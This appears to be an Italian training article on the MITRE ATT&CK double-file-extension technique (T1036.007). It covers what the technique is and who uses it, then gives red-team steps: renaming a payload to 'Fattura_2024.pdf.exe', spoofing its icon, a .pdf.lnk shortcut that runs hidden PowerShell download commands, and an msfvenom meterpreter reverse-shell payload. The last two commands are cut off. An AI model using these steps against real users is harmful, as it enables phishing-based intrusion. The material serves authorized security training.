Doppia Estensione: Double File Extension (T1036.007)
La tecnica T1036.007 - Double File Extension rientra nella tattica Defense Evasion (TA0005) del framework MITRE ATT&CK e sfrutta un comportamento nativo dei sistemi operativi Windows: l'occultamento delle estensioni note per i tipi di file registrati. Un attaccante rinomina il proprio payload con una doppia estensione, ad esempio Report.pdf.exe, sapendo che l'utente vedrà nel file browser solo Report.pdf e sarà indotto a considerarlo un documento innocuo.
Il posizionamento tipico della tecnica è nella fase di Initial Access e Execution della kill chain, in coppia con Spearphishing Attachment (T1566.001) e User Execution (T1204.002). L'utente riceve l'allegato via email, lo apre convinto di aprire un documento e attiva invece l'esecuzione di un binario, uno script .hta, un collegamento .lnk o uno screensaver .scr.
L'impatto è duplice: da un lato la tecnica sostiene campagne di infezione massiva a bassissimo costo, dall'altro viene adottata anche da attori state-sponsored per intrusioni mirate. I dati MITRE registrano 2 gruppi APT che l'hanno impiegata (Kimsuky e Mustang Panda), 3 famiglie malware documentate (Bazar, Milan, DarkGate) e 2 mitigazioni ufficiali, di cui una interamente incentrata sulla formazione degli utenti finali.
Per un red teamer la tecnica T1036.007 è un pilastro degli esercizi di phishing simulato, particolarmente efficace contro utenti con workstation Windows in configurazione di default, dove l'opzione Hide extensions for known file types è attiva. La preparazione del payload avviene in laboratorio isolato e deve essere autorizzata da rules of engagement scritte.
La costruzione base parte dalla scelta della prima estensione (benigna) e della seconda (eseguibile). Le combinazioni più realistiche sono .pdf.exe, .docx.lnk, .jpg.scr e .txt.hta. Su Windows la rinomina è banale:
ren payload.exe "Fattura_2024.pdf.exe"
Per rendere il file più credibile si sostituisce l'icona del binario con quella di Adobe Reader o Word usando Resource Hacker (open source) oppure la funzione UpdateResource dell'API Windows. Questo passaggio è fondamentale, perché anche con estensioni nascoste l'icona resta visibile e un'icona di tipo application mette in allerta l'utente attento.
Come dimostrato dai gruppi mappati in ATT&CK, una variante estremamente efficace è il file .pdf.lnk: un collegamento Windows che invoca powershell.exe o cmd.exe con argomenti offuscati. La generazione può avvenire con LNK Generator disponibili come script PowerShell open source, oppure creando manualmente il collegamento e impostando come icona %SystemRoot%\System32\shell32.dll,-152 per ottenere l'icona PDF. La proprietà Target punterà a un one-liner tipo:
powershell -w hidden -c "iwr
Per la delivery in esercizi controllati si possono usare framework come Gophish (open source) per campagne di phishing simulate o Evilginx (open source) per scenari più avanzati. Il payload finale può essere generato con Metasploit (open source, versione Framework) tramite msfvenom -p windows/x64/meterpreter/reverse_https LHOST=
Su macOS e Linux la tecnica ha efficacia ridotta perché Finder e i file manager GNOME/KDE mostrano di default l'estensione completa e i binari richiedono il bit di esecuzione. Un vettore adattato è l'utilizzo di app bundles macOS con nome ingannevole, ma esce dal perimetro specifico di T1036.007. Per ESXi la tecnica non è applicabile: l'esecuzione avviene tramite CLI e non attraverso il doppio click su un file.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.